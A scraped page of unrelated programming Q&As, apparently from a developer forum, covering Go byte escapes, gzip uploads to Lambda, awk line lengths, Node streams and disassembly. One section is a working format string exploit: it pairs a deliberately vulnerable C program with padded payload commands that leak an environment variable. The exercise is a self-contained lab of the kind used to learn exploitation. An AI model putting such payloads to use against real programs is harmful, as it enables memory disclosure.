Use net Write to send data\r\n is sent as a string instead of eof - string

I want use socket send 'info\r\n' to redis server by net, send data is 69 6e 66 6f 5c 72 5c 6e
but i want send data is 69 6e 66 6f 0d 0a,\r\n treated as an string and wrong becomes 5c 72 5c 6e
send data is string in code i turn string to []byte and conn.write
This sending seems to be wrong, what is the correct sending method?

Your data 69 6e 66 6f 5c 72 5c 6e is:
b := []byte{0x69, 0x6e, 0x66, 0x6f, 0x5c, 0x72, 0x5c, 0x6e}
fmt.Printf("%q\n", string(b))
Which outputs:
"info\\r\\n"
It contains a backslash, an r, another backslash and an n character at the end.
You want to send a carriage return \r and a newline character \n, you don't have to send these "literally". \r and \n are single byte data, not 2-character sequences.
Your data should be:
b = []byte{0x69, 0x6e, 0x66, 0x6f, '\r', '\n'}
fmt.Printf("%q\n", string(b))
Which outputs:
"info\r\n"
Or simply:
b = []byte("info\r\n")
fmt.Printf("%q\n", string(b))
Which outputs the same. Try the examples on the Go Playground.
Know that the string literal "info\r\n" is an interpreted string literal, \r and \n sequences in it will be interpreted as single characters (the carriage return and newline characters). This is detailed in Spec: String literals.

Related

Disassembling Code inside of a C++ program

objdump -D file.o will output something like
2b: 47 rex.RXB
2c: 43 rex.XB
2d: 43 3a 20 rex.XB cmp (%r8),%spl
In my program I have a pointer to the instruction and need to disassemble the first instruction found (not the whole file). What would be the easiest way to do that? For example
uint8_t * inst_ptr = memory_location
std::string human_readable = get_disassembly(instr_ptr)
human_readable = "43 3a 20 rex.XB cmp (%r8),%spl"
Is there linux headers/includes that do this already?
Ive been googling but havent found a good, straight forward solution.

Reading an environment variable using the format string vulnerability in a 64 bit OS

I'm trying to read a value from the environment by using the format string vulnerability.
This type of vulnerability is documented all over the web, however the examples that I've found only cover 32 bits Linux, and my desktop's running a 64 bit Linux.
This is the code I'm using to run my tests on:
//fmt.c
#include <stdio.h>
#include <string.h>
int main (int argc, char *argv[]) {
char string[1024];
if (argc < 2)
return 0;
strcpy( string, argv[1] );
printf( "vulnerable string: %s\n", string );
printf( string );
printf( "\n" );
}
After compiling that I put my test variable and get its address. Then I pass it to the program as a parameter and I add a bunch of format in order to read from them:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ ./getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
$ printf '\xcb\xef\xff\xff\xff\x7f' | od -vAn -tx1c
cb ef ff ff ff 7f
313 357 377 377 377 177
$ ./fmt $(printf '\xcb\xef\xff\xff\xff\x7f')`python -c "print('%016lx.'*10)"`
vulnerable string: %016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.
00000000004052a0.0000000000000000.0000000000000000.00000000ffffffff.0000000000000060.
0000000000000001.00000060f7ffd988.00007fffffffd770.00007fffffffd770.30257fffffffefcb.
$ echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c" | od -vAn -tx1c
cb ef ff ff ff 7f 25 31 30 24 31 36 6c 78
313 357 377 377 377 177 % 1 0 $ 1 6 l x
$ ./fmt $(echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c")
vulnerable string: %10$16lx
31257fffffffefcb
The 10th value contains the address I want to read from, however it's not padded with 0s but with the value 3125 instead.
Is there a way to properly pad that value so I can read the environment variable with something like the '%s' format?
So, after experimenting for a while, I ran into a way to read an environment variable by using the format string vulnerability.
It's a bit sloppy, but hey - it works.
So, first the usual. I create an environment value and find its location:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
Now, no matter how I tried, putting the address before the format strings always got both mixed, so I moved the address to the back and added some padding of my own, so I could identify it and add more padding if needed.
Also, python and my environment don't get along with some escape sequences, so I ended up using a mix of both the python one-liner and printf (with an extra '%' due to the way the second printf parses a single '%' - be sure to remove this extra '%' after you test it with od/hexdump/whathaveyou)
$ printf `python -c "print('%%016lx|' *1)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00') | od -vAn -tx1c
25 30 31 36 6c 78 7c 2d 2d 2d 2d 2d 2d 2d 2d cb
% 0 1 6 l x | - - - - - - - - 313
ef ff ff ff 7f
357 377 377 377 177
With that solved, next step would be to find either the padding or (if you're lucky) the address.
I'm repeating the format string 110 times, but your mileage might vary:
./fmt `python -c "print('%016lx|' *110)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------
The consecutive '2d' values are just the hex values for '-'
After adding more '-' for padding and testing, I ended up with something like this:
./fmt `python -c "print('%016lx|' *110)"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------
So, the address got pushed towards the very last format placeholder.
Let's modify the way we output these format placeholders so we can manipulate the last one in a more convenient way:
$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------
It should show the same result, but now it's possible to use an '%s' as the last placeholder.
Replacing '%016lx|' with just '%s|' wont work, because the extra padding is needed. So, I just add 4 extra '|' characters to compensate:
./fmt `python -c "print('%016lx|' *109 + '||||%s|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------
Voilà, the environment variable got leaked.

Decompressing data received as binary data in lambda - incorrect header check

I want to send compressed data (gzip) to some URL that will trigger a (proxy) lambda function, that will decompress the data.
The lambda function (NodeJS 8):
let zlib = require('zlib');
exports.handler = async (event) => {
let decompressedData = zlib.gunzipSync(event['body'])
return {
"statusCode": 200,
"body": decompressedData.toString()
};
};
I trigger it with a curl command to the URL (through API gateway), for some file that I compressed example.gz with gzip:
curl -X POST --data-binary #example.gz https://URL...
As a result, I get:
{"message": "Internal server error"}
And the error is (logs in Cloudwatch):
"errorMessage": "incorrect header check",
"errorType": "Error",
"stackTrace": [
"Gunzip.zlibOnError (zlib.js:153:15)",
"Gunzip._processChunk (zlib.js:411:30)",
"zlibBufferSync (zlib.js:144:38)",
"Object.gunzipSync (zlib.js:590:14)",
"exports.handler (/var/task/test_index.js:5:33)"
]
When I looked at the event['body'] itself, I see the exact data as I see in example.gz. Perhaps I need some special header? I just want to pass the data as is.
as Michael - sqlbot said, By default, API Gateway can't pass binary data into a Lambda function.
What worked for me:
I added the header Content-Type: application/octet-stream in the curl command, and in the API gateway settings, on Binary Media Types I added application/octet-stream.
This way, the data is passed in base64, and afterwards I just converted the date that is in base64 to a buffer:
let data = Buffer.from(event['body'], "base64")
And afterwards just decompress it.
For more information read here
1/ First you need to build your gzip correctly, ensure that gzip file header is not present : curl command a gzipped POST body to an apache server
Wrong way :
echo '{ "mydummy" : "json" }' > body
gzip body
hexdump -C body.gz
00000000 1f 8b 08 08 20 08 30 59 00 03 62 6f 64 79 00 ab |.... .0Y..body..|
00000010 56 50 ca ad 4c 29 cd cd ad 54 52 b0 52 50 ca 2a |VP..L)...TR.RP.*|
00000020 ce cf 53 52 a8 e5 02 00 a6 6a 24 99 17 00 00 00 |..SR.....j$.....|
00000030
Good way :
echo '{ "mydummy" : "json" }' | gzip > body.gz
hexdump -C body.gz
00000000 1f 8b 08 00 08 0a 30 59 00 03 ab 56 50 ca ad 4c |......0Y...VP..L|
00000010 29 cd cd ad 54 52 b0 52 50 ca 2a ce cf 53 52 a8 |)...TR.RP.*..SR.|
00000020 e5 02 00 a6 6a 24 99 17 00 00 00 |....j$.....|
0000002b
2/ In curl don't forget to specify the content-encoding with
-H "Content-Encoding: gzip"
3/ In addition if you use express+compress you don't need to call zlib
curl -X POST "http://example.org/api/a" -H "Content-Encoding: gzip" -H "Content-Type: application/json" --data-binary #body.gz
router.post("/api/a", function(req, res){
console.log(req.body); // { mydummy: 'json' }
});

find length of a fixed width file wtih a little twist

Hi Wonderful People/My Gurus and all kind-hearted people.
I've a fixed width file and currently i'm trying to find the length of those rows that contain x bytes. I tried couple of awk commands but, it is not giving me the result that i wanted. My fixed width contains 208bytes, but there are few rows that don't contain 208 bytes. I"m trying to discover those records that doesn't have 208bytes.
this cmd gave me the file length
awk '{print length;exit}' file.text
here i tried to print rows that contain 101 bytes, but it didn't work.
awk '{print length==101}' file.text
Any help/insights here would be highly helpful
With awk:
awk 'length() < 208' file
Well, length() gives you the number of characters, not bytes. This number can differ in unicode context. You can use the LANG environment variable to force awk to use bytes:
LANG=C awk 'length() < 208' file
Perl to the rescue!
perl -lne 'print "$.:", length if length != 208' -- file.text
-n reads the input line by line
-l removes newlines from the input before processing it and adds them to print
The one-liner will print line number ($.) and the length of the line for each line whose length is different than 208.
if you're using gawk, then it's no issue, even in typical UTF-8 locale mode :
length(s) = # chars native to locale,
# typically that means # utf-8 chars
match(s, /$/) - 1 = # raw bytes # this also work for pure-binary
# inputs, without triggering
# any error messages in gawk Unicode mode
Best illustrated by example :
0000000 3347498554 3381184647 3182945161 171608122
: Ɔ ** LJ ** Ȉ ** ɉ ** 㷽 ** ** : 210 : \n
072 306 206 307 207 310 210 311 211 343 267 275 072 210 072 012
: ? 86 ? 87 ? 88 ? 89 ? ? ? : 88 : nl
58 198 134 199 135 200 136 201 137 227 183 189 58 136 58 10
3a c6 86 c7 87 c8 88 c9 89 e3 b7 bd 3a 88 3a 0a
0000020
# gawk profile, created Sat Oct 29 20:32:49 2022
BEGIN {
1 __ = "\306\206\307\207\310" (_="\210") \
"\311\211\343\267\275"
1 print "",__,_
1 STDERR = "/dev/stderr"
1 print ( match(_, /$/) - 1, "_" ) > STDERR # *A
1 print ( length(__), match(__, /$/) - 1 ) > STDERR # *B
1 print ( (__~_), match(__, (_) ".*") ) > STDERR # *C
1 print ( RSTART, RLENGTH ) > STDERR # *D
}
1 | _ *A # of bytes off "_" because it was defined as 0x88 \210
5 | 11 *B # of chars of "__", and
# of bytes of it :
# 4 x 2-byte UC
# + 1 x 3-byte UC = 11
1 | 3 *C # does byte \210 exist among larger string (true/1),
# and which unicode character is 1st to
# contain \210 - the 3rd one, by original definition
3 | 3 *D # notice I also added a ".*" to the tail of this match() :
# if the left-side string being tested is valid UTF-8,
# then this will match all the way to the end of string,
# inclusive, in which you can deduce :
#
# "\210 first appeared in 3rd-to-last utf-8 character"
Combining that inferred understanding :
RLENGTH = "3 chars to the end, inclusive",
with knowledge of how many to its left :
RSTART - 1 = "2 chars before",
yields a total count of 3 + 2 = 5, affirming length()'s result

What does read(0) in node stream do?

Could anyone illustrate how read(0) in node stream works, and in which case it is necessary?
The official read(0) doc is here. It says:
There are some cases where it is necessary to trigger a refresh of the underlying readable stream mechanisms, without actually consuming any data. In such cases, it is possible to call readable.read(0), which will always return null.
I met one case where read(0) is necessary. It is from stream-handbook. The source code is:
process.stdin.on('readable', function () {
var buf = process.stdin.read(3);
console.dir(buf);
process.stdin.read(0);
});
The result is:
$ (echo abc; sleep 1; echo def; sleep 1; echo ghi) | node consume2.js
<Buffer 61 62 63>
<Buffer 0a 64 65>
<Buffer 66 0a 67>
<Buffer 68 69 0a>
Comment out the read(0) sentence,
process.stdin.on('readable', function () {
var buf = process.stdin.read(3);
console.dir(buf);
// process.stdin.read(0);
});
The result would be:
$ (echo abc; sleep 1; echo def; sleep 1; echo ghi) | node consume1.js
<Buffer 61 62 63>
<Buffer 0a 64 65>
<Buffer 66 0a 67>
I experimented with the above code and found that if I removed sleep 1 from the subshell command, then read(0) sentence is not necessary.
I think here the subshell sends a 'end of stream' event to consumer1.js after sending ghi, but it seems consumer1.js does not receive the 'end of stream' event unless read(0) does something. When read(0) does something, the js file knows there is an'end of stream', and the readable is triggered once more.
So my questions are:
What is read(0) doing here?
Why does read(0) become unnecessary when sleep 1 is removed from the shell command
Can any one provide more cases where read(0) is necessary? (I tried file stream instead of stdin as js file input, then read(0) is not necessary)
Thanks.

Resources